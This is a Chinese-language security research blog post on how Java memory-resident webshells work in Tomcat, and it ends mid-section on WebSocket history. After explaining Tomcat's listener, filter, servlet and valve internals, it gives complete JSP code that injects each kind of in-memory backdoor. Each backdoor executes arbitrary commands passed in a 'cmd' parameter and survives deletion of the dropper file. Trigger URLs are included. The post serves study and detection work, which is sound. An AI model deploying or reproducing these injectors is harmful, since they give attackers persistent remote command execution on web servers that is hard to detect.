Java内存马原理研究 - 郑瀚Andrew
2023-10-26 15:11:0 Author: www.cnblogs.com(查看原文) 阅读量:22 收藏

从整体攻防领域角度进行分类,内存马可以分为如下几个类型:

  • Servlet-API型:通过模拟中间件注册流程,动态注册一个新的listener、filter或者servlet,从而实现一个中间件后门。特定框架、容器的内存马原理与此类似,如tomcat的valve内存马。
  • 字节码增强型:通过java的instrumentation动态修改应用或者中间件中的已有类代码,进而实现一个后门。
  • 框架类:通过利用框架提供的一些路由、回调接口实现一个框架后门。如spring拦截器内存马、spring Controler内存马

按照以上整体技术图景,我们将本文的讨论重点放在”中间件级别内存马“这个话题上,

  • ”Java Agent“内存马由于灵活性太强,理论上可以Hook篡改任意类字节码,检测和清理的难度都十分巨大,留待以后的文章进行讨论。
  • 框架类内存马通用性有限,仅能在特定框架下使用,本文会涉及到,但不会深入展开。

为了简化篇幅,下文以Tomcat中间件为例,本质上Jetty原理也是类似的,因为它们都实现了同样的J2EE接口。

所谓中间件接口层内存马,本质上是利用了中间件原生提供的一些”功能“实现了一套运行在内存中的后门逻辑,这些”功能“有一些共性特点,

  • 可以很容易通过HTTP请求来触发,且触发条件相对较容易达成,例如”只要收到访问请求就触发“
  • 可以很容易通过中间件原生接口进行注册和销毁,不需要修改应用或者中间件的字节码
  • 所涉及到的中间件接口串接在HTTP请求的整个生命周期中,会被中间件以链式方式调用,攻击者额外新增的代码逻辑不会影响正常的HTTP请求处理,具备很好的隐藏性

0x1:Tomcat基本架构原理 

从整体上,Tomcat架构由Server、Service、Connector、Container组成,如下图所示,

  • Server:Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。
  • Service:服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container
  • Connector:称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。
  • Container:负责处理用户的 servlet 请求,也是 Service 的核心组件之一。

从业务功能角度,tomcat作为一个 Web 服务器,两个最核心的功能是”Http 服务器功能“和”Servlet 容器功能“:

  • Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
  • Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),

  • 连接器(Connector):连接器负责对外交流(完成 Http 服务器功能)
  • 容器(Container):容器负责内部处理(完成 Servlet 容器功能)

1、Connector连接器

连接器主要完成以下三个核心功能:

  • socket 通信,也就是网络编程
  • 解析处理应用层协议,封装成一个 Request 对象
  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。

  • Endpoint 负责提供请求字节流给Processor
  • Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter
  • Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器

2、Container容器

Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是

  • Engine:表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host
  • Host:代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context
  • Context:表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper
  • Wrapper:表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等

这四种容器成套娃式的分层结构设计。 

如以下图,a.com和b.com分别对应着两个Host,

0x2:Listener基本原理

请求网站的时候,Tomcat在处理一个HTTP请求的顺序为:

并且执行的顺序不会因为三个标签在配置文件中的先后顺序而改变。

如果web.xml中配置了<context-param>,初始化顺序:context-param > Listener > Filter > Servlet。

其实我们也可以从StandarContext#startInternal中找到对应的调用顺序:

// Configure and call application event listeners
if (ok) {
    if (!listenerStart()) {
        log.error(sm.getString("standardContext.listenerFail"));
        ok = false;
    }
}

// Check constraints for uncovered HTTP methods
// Needs to be after SCIs and listeners as they may programmatically
// change constraints
if (ok) {
    checkConstraintsForUncoveredMethods(findConstraints());
}

try {//
}

// Configure and call application filters
if (ok) {
    if (!filterStart()) {
        log.error(sm.getString("standardContext.filterFail"));
        ok = false;
    }
}

// Load and initialize all "load on startup" servlets
if (ok) {
    if (!loadOnStartup(findChildren())){
        log.error(sm.getString("standardContext.servletFail"));
        ok = false;
    }
}

listener是web三大组件之一,是servlet监听器,用来监听请求,监听服务端的操作。负责对Context、Session、Request、参数等创建、销毁变化的监听,可以添加上对应动作。

Java中总共有8个Listener,不同的Listener有不同的生命周期,其大致可分为3类如下:

  • 生命周期监听器
    • ServletContextListener
      • requestInitialized 在容器启动时被调用(在servlet被实例化前执行)
      • requestDestroyed 在容器销毁时调用(在servlet被销毁后执行)
    • HttpSessionListener
      • sessionCreated 在HttpSession创建后调用
      • sessionDestroyed 在HttpSession销毁前调用(执行session.invalidate();方法)
    • ServletRequestListener
      • requestDestroyed 在request对象创建后调用(发起请求)
      • requestInitialized 在request对象销毁前调用(请求结束)
  • 属性变化监听器
    • HttpSessionAttributeListener
      • attributeAdded(HttpSessionBindingEvent event)
      • attributeRemoved(HttpSessionBindingEvent event)
      • attributeReplaced(HttpSessionBindingEvent event)
    • ServletRequestAttributeListener
      • attributeAdded(ServletRequestAttributeEvent event)
      • attributeRemoved(ServletRequestAttributeEvent event)
      • attributeReplaced(ServletRequestAttributeEvent event)
  • session中指定类属性变化监听器
    • HttpSessionBindingListener 
      • valueBound(HttpSessionBindingEvent event) 当该类实例设置进session域中时调用
      • valueUnbound(HttpSessionBindingEvent event) 当该类的实例从session域中移除时调用
    • HttpSessionActivationListener 
      • sessionWillPassivate(HttpSessionEvent se) 当对象session被序列化(钝化)后调用
      • sessionDidActivate(HttpSessionEvent se) 当对象session被反序列化(活化)后调用

因为Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

我们接下来重点分析Request相关接口。

如果在Tomcat要引入listener,需要实现两种接口,分别是

  • LifecycleListener
  • EvenListener

实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。

所以来看另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。

重点来看ServletRequestListener接口,

ServletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。 

我们通过源码来分析一下ServletRequestListener与其执行流程。

写一个继承于ServletRequestListener接口的TestListener:

package memshell.Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

在web.xml中配置:

    <listener>
        <listener-class>memshell.Listener.TestListener</listener-class>
    </listener>

访问任意的路径:http://localhost:8080/11

可以看到控制台打印了信息,tomcat先执行了requestInitialized,然后再执行了requestDestroyed。 

  • requestInitialized:在request对象创建时触发
  • requestDestroyed:在request对象销毁时触发

搞明白了listener的调用点,接下来继续研究如何添加listener。

接以上环境,直接在requestInitialized处下断点,访问url后,显示出整个调用链。

通过调用链发现,Tomcat在StandardHostValve中调用了我们定义的Listener,

跟进context.fireRequestInitEvent,通过StandardContext#getApplicationEventListeners方法获得的listener。

继续往下,调用了requestInitialized方法,

继续往前追溯,listener是在ApplicationContext#addListener中,调用StandardContext#addApplicationEventListener添加的listener,即应用初始化的时候添加的listener。

0x3:Listener内存马基本原理

搞清楚了Listener的基本原理和调用流程,我们的思路就是通过调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener。

在jsp中获得StandardContext对象有两种方法,

方式一:
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

jsp listener内存马代码如下,listener_memshell.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

首先访问上传的listener_memshell.jsp生成listener内存马,之后即使listener_memshell.jsp删除,只要不重启服务器,内存马就能存在。

http://localhost:8080/memshell/listener_memshell.jsp?cmd=open%20-a%20Calculator

通过memshell_scan检测,

参考链接:

https://xz.aliyun.com/t/10358#toc-6 
https://chenlvtang.top/2022/08/03/Tomcat%E4%B9%8BListener%E5%86%85%E5%AD%98%E9%A9%AC/
https://blog.csdn.net/leichengjun_510/article/details/85338230
https://blog.csdn.net/weixin_39915694/article/details/114788228
https://developer.aliyun.com/article/932526 

0x1:Filter基本原理

我们知道当tomcat接收到请求时候,依次会经过Listener -> Filter -> Servlet,

所以,我们也可以通过动态添加Filter来构成内存马。

从上图中可以看到,当请求完成listener处理逻辑,到达Wrapper容器时候,会开始调用FilterChain,这个FilterChain就是若干个Filter组成的过滤器链。最后才会达到Servlet。

因此,只要把我们的恶意filter放入filterchain的第一个位置,就可以触发恶意filter中的方法。

0x2:Filter注册流程

要在FilterChain中加入恶意filter,首先要了解tomcat中Filter的注册流程,

在上图中可以看到,Wrapper容器调用FilterChain的地方就在StandardWrapperValve类中,

编写一个注册filter的测试代码,

package memshell.Filter;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter过滤");
        //放行
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter销毁");

    }
}

配置web.xml

<filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>memshell.Filter.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

在doFilter处下断点,访问任意url:http://127.0.0.1:8080/xxx

可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain, 

其filterChain中存放了两个ApplicationFilterConfig类型的filter,其中第一个就是TestFilter,

跟进doFilter方法,在方法中调用了internalDoFilter,

跟进internalDoFilter后看到,从filters数组里面拿到了第一个filter即Testfilter, 

最后调用了filter.doFilter,

从整个跟踪过程可以看到,filter是从filters数组中拿到的。接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig的。

重启tomcat,在createFilterChain这里断下来,

跟进ApplicationFilterFactory#createFilterChain中,看到首先拿到了个ServletRequest,然后通过ServletRequest#getFilterChain获取到了filterChain。

继续往下看,通过StandardContext对象找到了filterMaps[]。

然后又通过filterMaps中的名字,找到StandardContext对象中的FilterConfig,最后把FilterConfig加入了filterChain中。

跟进filterChain.addFilter看到,也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig。 

通过以上调试发现,有两个很重要的变量,filterMap和filterConfig。

  • filterMaps:用于获取filter名字
  • filterConfigs:用于获取过滤器配置

其实这两个变量都是在StandardContext对象里面存放了,其中还有个变量filterDefs也是重要的变量。 

我们如果想要向tomcat注入filter内存马,就需要找到一种渠道,直接向StandardContext对象中注入我们自定义的filter对象。

接下来我们分析filterMaps、filterConfigs、filterDefs的生成逻辑。

  • filterMaps

既然这三个变量都是从StandardContext中获得,那么查看StandardContext发现有两个方法可以添加filterMap,

  • filterConfigs 

在StandardContext中同样寻找添加filterConfig值的地方,发现有一处filterStart方法,此处添加是在tomcat启动时完成,所以下好断点启动tomcat。

filterDefs中存放着TestFilter,遍历这个filterDefs,拿到key为TestFilter,value为FilterDef对象,值test.Testfilter。

接下来new了一个ApplicationFilterConfig,放入了value,然后把nam=TestFilter和filterConfig放入了filterConfigs。

  • filterDefs

filterDefs才是真正放了过滤器的地方,那么我们看下filterDefs在哪里被加入了。

在StandardContext中同样有个addFilterDef方法,

tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,

0x3:Filter内存马注入原理

通过上一章对filter注册过程的分析,我们只要通过控制filterMaps、filterConfigs、filterDefs的值,则可以模拟tomcat的filter注册流程,注入恶意的内存马filter。

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射
  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "littlehann";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("open","-a",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Filter Memshell Inject Success !");
    }
%>

首先访问上传的filter_memshell.jsp生成filter内存马,之后即使filter_memshell.jsp删除,只要不重启服务器,内存马就能存在。

http://localhost:8080/memshell/filter_memshell.jsp?cmd=Calculator

注入成功后,就可以通过cmd参数传入参数执行命令,

上面代码用的是open新进程,如果想要执行任意指令,可以改用如下代码,

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "littlehann";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Filter Memshell Inject Success !");
    }
%>

访问如下链接,第一次注入filter内存马,从第二次之后可以通过cmd参数执行任意指令。

http://localhost:8080/memshell/filter_memshell.jsp?cmd=open%20-a%20Calculator

通过memshell_scan检测,

参考链接:

https://xz.aliyun.com/t/10362 
https://www.anquanke.com/post/id/266240 

Servlet型的内存马原理就是注册一个恶意的Servlet,与Filter相似,只是创建过程不同。

核心还是看StandardContext,在init filter后就调用了loadOnStartup方法实例化servlet。

可以发现servlet的相关信息是保存在StandardContext的children字段。

根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。

接下去就要寻找如何添加恶意wrapper至children,找到addchild方法。

寻找创建wrapper实例的代码,发现createWrapper方法,这样创建恶意servlet流程就清楚了。

  • 创建恶意的servlet实例
  • 获取standardContext实例
  • 调用createWrapper方法并设置相应参数
  • 调用addchild函数
  • 为了将servlet与相应url绑定,调用addServletMappingDecoded方法
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "servletshell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
            }
        }

        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/*",name);
    out.print("Servlet Memshell Inject Success !");

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

访问如下链接,第一次注入servlet内存马,从第二次之后可以通过cmd参数执行任意指令。

http://localhost:8080/memshell/servlet_memshell.jsp?cmd=open%20-a%20Calculator

0x1:Valve基本原理

Tomcat中按照包含关系一共有四个容器:engine,host,context,wrapper。

在每个容器对象里面都有一个pipeline及valve模块,它们是容器类必须具有的模块,在容器对象生成时自动产生。Pipeline就像是每个容器的逻辑总线。在pipeline上按照配置的顺序,加载各个valve,通过pipeline完成各个valve之间的调用,各个valve实现具体的应用逻辑。

四个容器中每个容器都包含自己的管道对象,管道对象用来存放若干阀门对象,但tomcat会为每一个容器制定一个默认的基础阀门:

  • Engine:org.apache.catalina.core.StandardEngineValve
  • Host:org.apache.catalina.core.StandardHostValve
  • Context:org.apache.catalina.core.StandardContextValve
  • Wrapper:org.apache.catalina.core.StandardWrapperValve

四个基础阀门放在各自容器管道的最后一位,用于查找下一级容器的管道。

当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时,会首先调用用户添加的Valve,最后再调用上述缺省的Standard-Valve。

注意,每一个上层的Valve都是在调用下一层的Valve,并等待下层的Valve返回后才完成的,这样上层的Valve不仅具有Request对象,同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。

当在server.xml文件中配置了一个定制化valve时,会调用pipeline对象的addValve方法,将valve以链表方式组织起来。

Valve hander代码如下,

package memshell.Valve;

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;

public class TestHandlerValve extends ValveBase {
    private Valve next;

    @Override
    public Valve getNext() {
        return next;
    }

    @Override
    public void setNext(Valve valve) {
        next = valve;
    }

    @Override
    public void backgroundProcess() {
    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {

        System.out.println("=====================start===================");

        System.out.println("#getNext().getClass().getName(): "+getNext().getClass().getName());
        System.out.println(this.getClass().getName()+"#invoke");

        System.out.println("request: "+request);
        System.out.println("response: "+response);

        System.out.println("request.getServletPath():"+request.getServletPath());

        System.out.println("request.getQueryString():"+request.getQueryString());

        //例如这里可以获取请求体长度,用来记录请求流量
        System.out.println("request.getContentLength(): "+request.getContentLength());

        //例如获取响应的流量
        System.out.println("response.getBytesWritten(false): "+response.getBytesWritten(false));

        System.out.println("==================end======================");

        getNext().invoke(request, response);
    }

    @Override
    public boolean isAsyncSupported() {
        return true;
    }
} 

从上面可以清楚的看出,valve按照容器作用域的配置顺序来组织valve,每个valve都设置了指向下一个valve的next引用。同时,每个容器缺省的标准valve都存在于valve链表尾端,这就意味着,在每个pipeline中,缺省的标准valve都是按顺序,最后被调用。

0x2:Valve内存马基本原理

基于以上对tomcat valve初始化和调用顺序原理的分析,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。

在Pipeline类中找到方法addValve,可以添加valve。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public final class myvalve implements Valve{
        private Valve next;

        @Override
        public Valve getNext() {
            return next;
        }

        @Override
        public void setNext(Valve valve) {
            next = valve;
        }

        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            if (req.getParameter("cmd") != null){
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                resp.getWriter().write(output);
                resp.getWriter().flush();
                resp.getWriter().close();
            }
            this.getNext().invoke(request,response);
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    final String name = "shell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    myvalve myvalve = new myvalve();
    standardContext.getPipeline().addValve(myvalve);

    out.print("Valve Memshell Inject Success !");
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html> 

访问如下链接,第一次注入servlet内存马,从第二次之后可以通过cmd参数执行任意指令。

http://localhost:8080/memshell/valve_memshell.jsp?cmd=open%20-a%20Calculator

参考链接:

https://www.cnblogs.com/benwu/articles/6081906.html 
https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw 
https://www.cnblogs.com/chengwenqin/p/14211808.html 
https://www.cnblogs.com/xyylll/p/15463635.html 

0x1:什么是WebSocket?

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。

主流浏览器以及一些常见服务端通信中间件(Tomcat、Spring、Jetty、WebSphere、WebLogic等)都对WebSocket进行了技术支持。

0x2:WebSocket解决了什么问题?

HTTP/1.1最初是为网络中超文本资源(HTML),请求-响应传输而设计的,后来支持了传输更多类型的资源,如图片、视频等,但都没有改变它单向的请求-响应模式。随着互联网的日益壮大,HTTP/1.1功能使用上已体现捉襟见肘的疲态。虽然可以通过某些方式满足需求(如Ajax、Comet),但是性能上还是局限于HTTP/1.1的技术瓶颈:

  • 请求-响应模式,只能客户端发送请求给服务端,服务端才可以发送响应数据给客户端。
  • 传输数据为文本格式,且请求/响应头部冗长重复。

在WebSocket出现之前,主要通过长轮询和HTTP长连接实现实时数据更新,这种方式有个统称叫Comet,Tomcat8.5之前有对Comet基于流的HTTP长连接做支持,后来因为WebSocket的成熟和标准化,以及Comet自身依然是基于HTTP,在性能消耗和瓶颈上无法跳脱HTTP,就把Comet废弃了。

还有一个SPDY技术,也对HTTP进行了改进,多路复用流、服务器推送等,后来演化成HTTP/2.0,不过对于HTTP/2.0和WebSocket在Tomcat实现中都是作为协议升级来处理的。

在这种背景下,HTML5制定了WebSocket:

  • 筹备阶段,WebSocket被划分为HTML5标准的一部分,2008年6月,Michael Carter进行了一系列讨论,最终形成了称为WebSocket的协议。
  • 2009年12月,Google Chrome 4是第一个提供标准支持的浏览器,默认情况下启用了WebSocket。
  • 2010年2月,WebSocket协议的开发从W3C和WHATWG小组转移到IETF(TheInternet Engineering Task Force),并在Ian Hickson的指导下进行了两次修订。
  • 2011年,IETF将WebSocket协议标准化为RFC 6455起,大多数Web浏览器都在实现支持WebSocket协议的客户端API。此外,已经开发了许多实现WebSocket协议的Java库。
  • 2013年,发布JSR356标准,Java API for WebSocket。

2013年以前还没出JSR356标准,Tomcat就对Websocket做了支持,自定义API,再后来有了JSR356,Tomcat立马紧跟潮流,废弃自定义的API,实现JSR356那一套,这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。

